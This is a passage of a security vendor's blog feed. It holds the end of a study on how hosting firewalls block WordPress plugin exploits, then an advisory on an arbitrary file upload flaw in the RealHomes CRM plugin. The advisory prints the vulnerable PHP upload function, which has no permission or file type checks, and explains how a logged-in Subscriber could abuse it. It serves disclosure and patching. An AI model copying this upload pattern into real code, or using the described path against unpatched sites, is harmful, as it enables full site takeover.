        const ctxAttacksPerVulnerability = document
          .getElementById(&quot;attacks-per-vulnerability&quot;)
          .getContext(&quot;2d&quot;);

        const chartAttacksPerVulnerability = new Chart(ctxAttacksPerVulnerability, {
          type: &quot;bar&quot;,
          options: {
            layout: {
              padding: {
                right: window.innerWidth &lt; 768 ? 0 : 0,
              },
            },
            maintainAspectRatio: false,
            indexAxis: &quot;y&quot;,
            scales: {
              x: {
                stacked: true,
                max: 18,
                grid: {
                  display: true,
                  drawOnChartArea: true,
                  color: &quot;#E4E4E4&quot;,
                },
                border: { display: false },
                ticks: {
                  stepSize: 1,
                },
              },
              y: {
                stacked: true,
                grid: { display: false },
                ticks: {
                  crossAlign: window.innerWidth &lt; 768 ? &quot;far&quot; : &quot;near&quot;,
                  callback: function (value, index) {
                    const label = this.getLabelForValue(index);
                    const maxLength = window.innerWidth &lt; 768 ? 20 : 50;

                    if (label.length &gt; maxLength) {
                      return label.substring(0, maxLength) + &quot;...&quot;;
                    }
                    return label;
                  },
                },
                afterFit: function (scaleInstance) {
                  if (window.innerWidth &lt; 768) {
                    scaleInstance.width = 150;
                  }
                },
              },
            },
            plugins: {
              legend: { display: false },
              tooltip: {
                enabled: true,
                mode: &quot;index&quot;,
                intersect: false,
                interaction: { mode: &quot;index&quot;, axis: &quot;y&quot; },
              },
              datalabels: {
                display: function (context) {
                  return (
                    context.datasetIndex ===
                    context.chart.data.datasets.length - 1
                  );
                },
                color: &quot;#000000&quot;,
                anchor: &quot;end&quot;,
                align: &quot;right&quot;,
                formatter: function (value, context) {
                  const total = context.chart.data.datasets.reduce(
                    (sum, dataset) =&gt; sum + dataset.data[context.dataIndex],
                    0
                  );
                  return total.toLocaleString();
                },
                font: {
                  weight: &quot;bold&quot;,
                },
              },
            },
          },
          data: {
            labels: [
              &quot;Privilege Escalation (Profitori)&quot;,
              &quot;Open Redirection (Login/Logout Redirect)&quot;,
              &quot;Cross Site Request Forgery (PixelYourSite)&quot;,
              &quot;Cross Site Request Forgery (Really Simple SSL)&quot;,
              &quot;Remote Code Execution (Easy Stripe)&quot;,
              &quot;Broken Access Control (File Manager Advanced)&quot;,
              &quot;Privilege Escalation (Suretriggers)&quot;,
              &quot;Broken Access Control (DB Backup)&quot;,
              &quot;Remote Code Execution (PDF2Post)&quot;,
              &quot;Broken Authentication (Password Policy Manager)&quot;,
              &quot;Privilege Escalation (Spreadsheet Price Changer)&quot;,
              &quot;Privilege Escalation (WooCommerce Payments)&quot;,
              &quot;Cross Site Scripting (SCCP)&quot;,
              &quot;PHP Object Injection (Participants Database)&quot;,
              &quot;PHP Object Injection (WP Funnel Manager)&quot;,
              &quot;Broken Access Control (WC Multilingual)&quot;,
              &quot;PHP Object Injection (GiveWP)&quot;,
              &quot;Local File Inclusion (CSS/JavaScript Toolbox)&quot;,
              &quot;Local File Inclusion (Blog Designer Pack)&quot;,
              &quot;Broken Authentication (Post SMTP)&quot;,
              &quot;SQL Injection (TI WooCommerce Wishlist)&quot;,
              &quot;SQL Injection (CleverReach WP)&quot;,
              &quot;SQL Injection (MDFT)&quot;,
              &quot;Arbitrary File Deletion (Tainacan)&quot;,
              &quot;Cross Site Scripting (Litespeed Cache)&quot;,
              &quot;Arbitrary File Upload (4ECPS Webforms)&quot;,
              &quot;Arbitrary File Upload (WP Photo Album Plus)&quot;,
              &quot;Arbitrary File Upload (TI WooCommerce Wishlist)&quot;,
              &quot;Local File Inclusion (JS Support Ticket)&quot;,
              &quot;Arbitrary File Download (WP Job Portal)&quot;,
            ],

            datasets: [
            {
                data: [18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 14, 15, 13, 12, 12, 12, 11, 10, 10, 10, 7, 7, 7, 6, 6],
                backgroundColor: &quot;#CE736F&quot;,
                label: &quot;Successful attacks&quot;,
                hidden: false,
              },
              {
                data: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 2, 7, 0, 0],
                backgroundColor: &quot;#EFCD64&quot;,
                label: &quot;Partially successful blocks&quot;,
                hidden: false,
              },
              {
                data: [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 4, 3, 5, 6, 6, 6, 7, 8, 8, 8, 6, 9, 4, 13, 12],
                backgroundColor: &quot;#6ebe00&quot;,
                label: &quot;Successful blocks&quot;,
                hidden: false,
              },
            ],
          },
        });

        createCustomLegend(
          chartAttacksPerVulnerability,
          &quot;legend-container-vulnerability-breakdown&quot;
        );
      &lt;/script&gt;

        &lt;/div&gt;
            &lt;/div&gt;
    &lt;/div&gt;


&lt;h3 class=&quot;wp-block-heading&quot;&gt;“WAF” can mean anything, and nothing&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Many hosts advertised a commercial web application firewall, specifically a solution often used for DNS management, anti-DDoS protection, and CDN functionality.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;While these services often have a managed ruleset that can block common attack types (e.g., directory traversal, cross-site scripting, or PHP object injection), &lt;strong&gt;we did not see consistent results across all hosts using these products, even between different companies using &lt;em&gt;the same&lt;/em&gt; product.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;What surprised me about the results, is that the same security solutions had wildly varying degrees of efficacy.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/profile-scaled.jpg&quot; class=&quot;wp-image-25325&quot; alt=&quot;Kevin Ohashi&quot;&gt;&lt;span&gt;— &lt;span&gt;Kevin Ohashi, &lt;a href=&quot;http://WPHostingBenchmarks.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;WPHostingBenchmarks.com&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;Based on this, we believe hosts are often enabling only certain components of these solutions, obfuscating what their WAF solution does and does not protect against, and can’t be evaluated solely because they “use an X brand firewall”.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;It is also likely that hosts are limiting the capabilities of firewalls, as stricter rules would result in high volumes of false positives, which in turn would disrupt their normal services.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;In-house firewalls more effective than commercial solutions for generic attacks&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;When looking at generic, non-WordPress specific vulnerability attacks, hosts’ in-house firewall solutions outperformed commercial solutions.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Our results show that the hosts that performed best maintained their own internal firewall solutions.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;While seeing a host advertise an in-house firewall isn’t a silver bullet for securing your WordPress websites, it does confirm another assumption we had: the hosts that perform best are the ones investing resources in improving their environments.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The vast majority of successful blocks were from non-WordPress-specific vulnerabilities. The most consistently blocked vulnerability class was Arbitrary File Uploads*, in which all three tested vulnerabilities were blocked 60% of the time.&lt;/p&gt;





&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Arbitrary File Upload&lt;/strong&gt; attacks involve uploading a malicious PHP file to the website, and once fully exploited, an attacker can immediately gain full control of the hosting environment. We considered the attack blocked when either the file itself was prevented from being uploaded or the hosting environment prevented our execution of it.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;A special note on Cross-Site Request Forgery attacks&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Cross-Site Request Forgery (CSRF) attacks were the only ones that weren’t blocked by any host, or even Patchstack (in fact, we generally don’t provide protection rules for CSRF).&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This is due to the unique nature of CSRF vulnerabilities. These are usually impossible to exploit at scale, and they require specific targeting and social engineering to succeed. It’s also difficult to prevent these exploits using protection rules without severely impacting normal site functionality. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;No host can reasonably be expected to cover these vulnerabilities, and the two CSRF cases were selected for the experiment solely to ensure the widest possible coverage of different vulnerability types.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Conclusions&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The results of this study support our initial conclusion that WordPress vulnerability mitigation remains a largely unsolved problem.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Hosting companies seem to agree – in their &lt;a href=&quot;https://blog.cloudlinux.com/web-hosting-trends-innovations-2025-insights-shaping-the-future&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;2025 Web Hosting Trends survey,&lt;/a&gt; Cloudlinux reported that 64% of hosting companies cited WordPress vulnerabilities specifically as their biggest security challenge.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In our conversations with hosting industry representatives, we’ve noticed the biggest problem isn’t that hosts don’t care about vulnerability attacks – it’s that they think their existing solutions have got them covered.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Hosting companies are not security companies, yet they still carry responsibility for the security of their customers. Many providers are not even aware of the problem and assume that using third-party security tools is enough, so the issue often gets ignored.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;512&quot; height=&quot;512&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/T0206NNHD2A-U09G8N5JBK2-g70dbb5455f8-512.png&quot; class=&quot;wp-image-25324&quot; alt=&quot;Konrad Keck&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/T0206NNHD2A-U09G8N5JBK2-g70dbb5455f8-512.png 512w, https://wp.patchstack.com/wp-content/uploads/2026/01/T0206NNHD2A-U09G8N5JBK2-g70dbb5455f8-512-300x300.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/T0206NNHD2A-U09G8N5JBK2-g70dbb5455f8-512-150x150.png 150w&quot; sizes=&quot;auto, (max-width: 512px) 100vw, 512px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Konrad Keck, &lt;a href=&quot;https://www.linkedin.com/in/konradkeck/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;webhosting.today&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;Effective security, however, works in layers. Different threats require different approaches, and as we saw from the test results, one-stop-shop tools &amp;amp; generic WAFs cannot cover vulnerability exploits.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With vibe-coding introducing more security issues both within and outside the WordPress ecosystem, hosts need to rethink how they build their security stacks to provide safe solutions for their customers.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;How does your security stack up against vulnerabilities? Let’s find out&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If you’re a hosting company and would like to have your security stack tested using the same framework then get in touch and &lt;strong&gt;we’ll perform this pentest for you for free.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If you’re interested, &lt;a href=&quot;https://patchstack.com/vulnerability-pentesting-for-hosting-providers/.&quot;&gt;simply fill out the form on this page&lt;/a&gt; and our security team will be in touch.&lt;br&gt;&lt;br&gt;&lt;strong&gt;P.S.&lt;/strong&gt; your results will be kept confidential. You will also have full transparency into the vulnerabilities and attack methods used.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Special thanks 🙏&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;We’d like to thank &lt;a href=&quot;https://www.linkedin.com/in/konradkeck/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Konrad Keck&lt;/a&gt; and &lt;a href=&quot;http://WPHostingBenchmarks.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Kevin Ohashi&lt;/a&gt; for helping us validate the test methods, and also for your questions and feedback throughout this process!&lt;/em&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</content:encoded><category>Case Studies</category><category>Featured</category><category>Patchstack News</category><category>White papers</category><author>Chazz Wolcott</author></item><item><title>Critical Arbitrary File Upload Vulnerability in RealHomes CRM Plugin Affecting 30k+ Sites</title><link>https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-realhomes-crm-plugin-affecting-30k-sites/</link><guid isPermaLink="true">https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-realhomes-crm-plugin-affecting-30k-sites/</guid><description>This blog post is about a Subscriber+ arbitrary file upload vulnerability in the RealHomes CRM. If you’re a RealHomes CRM user, please update to at least version 1.0.1. This vulnerability was discovered and reported by Patchstack Alliance community member wackydawg. About the RealHomes theme The RealHomes theme, with over 30,000 active installations, is a theme […]
</description><pubDate>Thu, 22 Jan 2026 10:08:24 GMT</pubDate><content:encoded>


&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is about a Subscriber+ arbitrary file upload vulnerability in the RealHomes CRM. If you’re a RealHomes CRM user, please update to at least version &lt;strong&gt;1.0.1.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;This vulnerability was discovered and reported by &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance community&lt;/a&gt; member &lt;a href=&quot;https://patchstack.com/database/researchers/e557a9a1-d36d-4776-87b6-c33cc517dbc8&quot;&gt;wackydawg&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;✌️ Our users are protected from this vulnerability. Are yours?&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Web developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Mitigate vulnerabilities in real-time without changing code.&lt;/p&gt;
            &lt;a href=&quot;/pricing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;See pricing&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Identify vulnerabilities in your plugins and get recommendations for fixes.&lt;/p&gt;
            &lt;a href=&quot;/auditing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Request audit&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting companies&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users, improve server health and earn additional revenue.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the RealHomes theme&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;a href=&quot;https://themeforest.net/item/real-homes-wordpress-real-estate-theme/5373914&quot;&gt;RealHomes&lt;/a&gt; theme, with over 30,000 active installations, is a theme specifically designed for creating professional real estate websites and was developed by &lt;a href=&quot;https://inspirythemes.com/&quot;&gt;InspiryThemes&lt;/a&gt;. The theme itself has a bundled plugin called RealHomes CRM.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;590&quot; height=&quot;300&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/rhomes2.jpg&quot; alt=&quot;&quot; class=&quot;wp-image-25277&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/rhomes2.jpg 590w, https://wp.patchstack.com/wp-content/uploads/2026/01/rhomes2-300x153.jpg 300w&quot; sizes=&quot;auto, (max-width: 590px) 100vw, 590px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The theme itself offers extensive features like advanced search, property listing layouts (grid, list, map), front-end submission/management for users, payment integration (PayPal/Stripe), and integration with page builders like Elementor for easy customization, making property management and showcasing properties efficient for agents and businesses.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The security vulnerability&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In versions &lt;strong&gt;1.0.0&lt;/strong&gt; and below, the RealHomes CRM plugin is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily upload files via the upload CSV file process. This means any Subscriber or higher user is able to inject malicious code through the upload process, which can lead to a full site takeover.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability has been patched in version &lt;strong&gt;1.0.1&lt;/strong&gt; and is tracked with &lt;strong&gt;CVE-2025-67968&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The root cause of the issue lies in the &lt;strong&gt;&lt;em&gt;upload_csv_file&lt;/em&gt;&lt;/strong&gt; function:&lt;/p&gt;



&lt;pre title=&quot;includes/class-realhomes-crm-ajax.php, function upload_csv_file&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;public function upload_csv_file() {
	check_ajax_referer( &amp;#39;realhomes_crm_ajax_nonce&amp;#39;, &amp;#39;security&amp;#39; );

	if ( empty( $_FILES[&amp;#39;csv_file&amp;#39;] ) || $_FILES[&amp;#39;csv_file&amp;#39;][&amp;#39;error&amp;#39;] !== UPLOAD_ERR_OK ) {
		wp_send_json_error( [ &amp;#39;message&amp;#39; =&amp;gt; esc_html__( &amp;#39;Invalid file upload.&amp;#39;, REALHOMES_CRM_TEXT_DOMAIN ) ] );
	}

	// Get the uploaded file info
	$file       = $_FILES[&amp;#39;csv_file&amp;#39;];
	$upload_dir = wp_upload_dir();
	$target_dir = trailingslashit( $upload_dir[&amp;#39;basedir&amp;#39;] ) . &amp;#39;realhomes-crm/csv-import/&amp;#39;;

	// Ensure target directory exists
	if ( ! file_exists( $target_dir ) ) {
		wp_mkdir_p( $target_dir );
	}

	$file_name   = pathinfo( $file[&amp;#39;name&amp;#39;], PATHINFO_FILENAME );
	$file_ext    = pathinfo( $file[&amp;#39;name&amp;#39;], PATHINFO_EXTENSION );
	$target_file = $target_dir . $file[&amp;#39;name&amp;#39;];

	// Check if the file already exists and append a numeric postfix if needed
	$counter = 1;
	while ( file_exists( $target_file ) ) {
		$target_file = $target_dir . $file_name . &amp;#39;-&amp;#39; . $counter . &amp;#39;.&amp;#39; . $file_ext;
		$counter ++;
	}

	// Move the uploaded file to the target directory
	if ( move_uploaded_file( $file[&amp;#39;tmp_name&amp;#39;], $target_file ) ) {
		$file_name     = basename( $target_file );
		$file_size     = file_exists( $target_file ) ? round( filesize( $target_file ) / 1024, 0 ) : 0; // File size in KB
		$uploaded_date = current_time( &amp;#39;mysql&amp;#39; );
--------------------------- CUT HERE --------------------------- &lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;First, we notice that there is a nonce check using the &lt;strong&gt;&lt;em&gt;check_ajax_referer&lt;/em&gt;&lt;/strong&gt; function. However, the &lt;strong&gt;&lt;em&gt;realhomes_crm_ajax_nonce&lt;/em&gt;&lt;/strong&gt; nonce value itself can be fetched from Subscriber role users on the wp-admin base page or front-end page.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Second, there is no proper permission check on the function, which allows users to just supply arbitrary files via &lt;strong&gt;&lt;em&gt;$_FILES[‘csv_file’]&lt;/em&gt;&lt;/strong&gt;. Lastly, the function didn’t have a proper file type and name check, and will directly upload the file via &lt;strong&gt;&lt;em&gt;move_uploaded_file&lt;/em&gt;&lt;/strong&gt; to the server.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading has-text-align-left&quot;&gt;&lt;strong&gt;The patch&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version &lt;strong&gt;1.0.1&lt;/strong&gt;, the vulnerability is mitigated with the addition of a &lt;em&gt;&lt;strong&gt;current_user_can&lt;/strong&gt;&lt;/em&gt; permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action. The patch also implements a proper file type and extension check using the &lt;strong&gt;&lt;em&gt;wp_check_filetype&lt;/em&gt;&lt;/strong&gt; function.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;218&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-1024x218.png&quot; alt=&quot;&quot; class=&quot;wp-image-25282&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-1024x218.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-300x64.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-768x163.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-1536x327.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-2048x436.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;419&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-1024x419.png&quot; alt=&quot;&quot; class=&quot;wp-image-25284&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-1024x419.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-300x123.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-768x314.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-1536x628.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-2-2048x837.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;292&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-1024x292.png&quot; alt=&quot;&quot; class=&quot;wp-image-25286&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-1024x292.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-300x86.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-768x219.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-1536x438.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/01/image-4-2048x585.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;However, like the &lt;a href=&quot;https://developer.wordpress.org/reference/functions/check_ajax_referer/&quot;&gt;WordPress developer documentation&lt;/a&gt; says:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using &lt;a href=&quot;https://developer.wordpress.org/reference/functions/current_user_can/&quot;&gt;current_user_can()&lt;/a&gt; and always assume that nonces can be compromised.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Even when limited to only showing to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the &lt;em&gt;View Page Source&lt;/em&gt; button and find a nonce hiding in there.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Privileged functionality should &lt;strong&gt;always&lt;/strong&gt; be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Lastly, always implement a proper file type and extension check on a file upload process. One of the built-in functions that can be used is the &lt;strong&gt;&lt;em&gt;wp_check_filetype&lt;/em&gt;&lt;/strong&gt; function.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;












&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
